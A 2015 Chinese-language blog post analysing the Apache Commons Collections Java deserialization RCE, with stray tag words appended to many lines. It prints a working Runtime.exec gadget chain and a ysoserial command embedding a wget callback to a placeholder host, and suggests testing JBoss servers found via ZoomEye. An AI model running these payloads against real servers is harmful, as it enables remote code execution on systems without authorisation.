common-collections中Java反序列化漏洞致使的RCE原理分析

隐形人真忙 · 2015/11/11 22:40java

0x00 背景


这几天在zone看到了有人说起了有关于common-collections包的RCE漏洞,而且http://zone.wooyun.org/content/23849给出了具体的原理。做为一个业余的安全研究人员,除了会利用以外,还能够探究一下背后的原理。git

0x01 原理


Java反序列化致使的漏洞原理上和PHP反序列同样,也是因为用户的输入能够控制咱们传入的对象。若是服务端程序没有对用户可控的序列化代码进行校验而是直接进行反序列化使用,而且程序中运行一些比较危险的逻辑(如eval,登陆验证等),就会触发一些意想不到的漏洞。实际上,这并非什么新的问题了,有关于Java中的反序列化致使的漏洞能够看https://speakerdeck.com/player/2630612322be4a2696a31775f2ed005d的slide了解一下。github

而此次,主要探讨一下在特殊环境下,反序列化可否达到远程代码执行(RCE)。web

参考文章3中给出了exp,而且在zone上有了不少的讨论,配合github上的jar文件生成一个序列化字符串,而后发送给漏洞站点就能触发。关于利用,并非本文的重点。apache

问题从common-collections工具的各个transformer提及,这些transform主要用于对Map的键值进行转化。数组

其中,国外研究人员发现类InvokerTransformer中的transform方法容许经过反射执行参数对象的某个方法,并返回执行结果。安全

咱们来写个代码测试一下:bash

#!java
@SuppressWarnings({"rawtypes", "unchecked"})
public class VulTest {
    public static void main(String[] args) {
        Transformer transform = new InvokerTransformer(
                "append",
                new Class[]{String.class},
                new Object[]{"exploitcat?"});
        Object newObject = transform.transform(new StringBuffer("your name is ")) ;
        System.out.println(newObject);    

    }
}
复制代码

这里建立了一个InvokerTransformer对象,而且调用了它的transform,参数是个StringBuilder对象,执行后会输出一个字符串:java-web

#!java
your name is exploitcat?
复制代码

能够看到,经过transform方法里的反射,咱们成功调用了StringBuilder中的append方法并返回结果,虽然过程有些曲折。这样,咱们离RCE又近了一步,那么谁会去调用这些transformer对象的transform方法呢?app

调用这些transform方法的是一个叫TransformedMap的类,这个类能够当作原生Map类的一个包装类(经过TransformedMap.decorate方法)。进入这个类一探究竟:

这里的decorate方法就是对外建立TransformedMap对象的方法。在代码中咱们能够清晰找到transform方法是如何被调用的。

以及entry对象调用setValue时,执行的checkSetValue

为了搞清楚为啥在setValue的时候发生了什么,咱们来看代码:

#!java
public class TransformTest {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                    new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, 
                    new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, 
                    new Object[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers) ;
        Map innerMap = new HashMap() ;
        innerMap.put("name", "hello") ;
        Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;

        Map.Entry elEntry = (Entry) outerMap.entrySet().iterator().next() ;
        elEntry.setValue("hello") ;
    }
}
复制代码

代码中,咱们将咱们要执行的多行代码分散到各个transformer里,使用InvokeTransformer类来执行咱们的方法。接着用TransformedMap来执行transfom方法触发代码。

这里的原生Map用来被TransformedMap包装,而后map的entry对象调用了setValue方法。在java环境中执行上面的代码,最后会弹出计算器:

到目前为止,咱们找了一些创造RCE的条件:

(1)使用了InvokeTransformer的对象,并在transform方法里执行代码;
(2)使用TransformedMap经过执行setValue方法来触发transform方法。

对于一个“不讲道理”的RCE,显然须要另外一个好用的类来同时知足上面两点,而且在readObject里进行调用。readObject方法是java的序列化对象(实现了Serializable接口)中首先会调用的方法。

0x02 利用


这里配合咱们执行代码的类就是AnnotationInvocationHandler,咱们来看看readObject方法里面有什么逻辑:

能够看到,首先调用了defaultReadObject来获取了类属性typememberValues,找到定义,这两个东西以下:

readObject方法中,类型检查以前就触发了咱们对象的方法。从memberValues参数中获取了entrysetValue,这样,虽然可能会有类型错误,可是代码却执行了。符合了以前咱们关于RCE的构想。因此看懂exp就变得很简单。exp作了一件事情,就是返回一个序列化的handler对象,对象里包含了咱们的transformer对象数组,用来装载咱们要执行的代码。

建立handler的方法以下:

利用反射,获取到AnnotationInvocationHandler的构造函数,并传入了咱们的map,getInstance返回一个handler对象,完成了所要求的一切,以后,找个使用可控序列化的地方发送这个序列化handler便可执行咱们的代码。

我仍是把exp贴上来吧,这段代码就是构造咱们的handler对象:

首先exp里构造了transformer对象数组并用LazyMap进行包装,包装后装到一个handler对象里并返回这个handler

0x03 演示


为何说这个RCE影响大,具体能够看看参考文章1中做者给出的几个案例,能够看到主流的java-web中间件都受到了影响,包括jboss、WebLogic、 WebSphere等。

以jboss为例的利用教程,在zone里zone.wooyun.org/content/238…已经给出步骤了,利用门槛不高,只须要在zoomeye上找jboss来测试便可。

因为是RCE,因此花样不少了,这里我就挑几个案例,利用CloudEye执行看看,执行命令为:

#!bash
wget http://your-cloudeye-site
复制代码

若是成功执行,那么咱们的cloudeye上应该有日志的。 具体以下:

#!bash
java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'wget http://your-cloudeye-site' > out.ser
复制代码

上面的命令是获取执行wget命令的handler对象的序列化code,而后咱们访问jboss里的JMX服务:

在cloudeye上,成功获取了访问记录:

配合cloudeye,咱们彻底能够作到命令回显,不过既然是RCE了,玩儿法就太多了。

实际上,参考文章1中给出了JAVA中使用了序列化的场景:

  • In HTTP requests – Parameters, ViewState, Cookies, you name it.
  • RMI – The extensively used Java RMI protocol is 100% based on serialization
  • RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects
  • JMX – Again, relies on serialized objects being shot over the wire
  • Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come

若是想探索这个漏洞的利用,那么我推荐你阅读如下这篇文章。

0x04 总结


总结下,漏洞产生的主要问题仍是在用户可控的序列化字符串上,在使用ObjectInputStreamObjectOutputStream类的时候,最好进行白名单校验,防止意外的发生。 配合参考文章1,估计接下来乌云上又会刮起一阵腥风血雨。

参考文章:

  1. foxglovesecurity.com/2015/11/06/…
  2. blogs.apache.org/foundation/…
  3. github.com/frohoff/yso…
相关文章
相关标签/搜索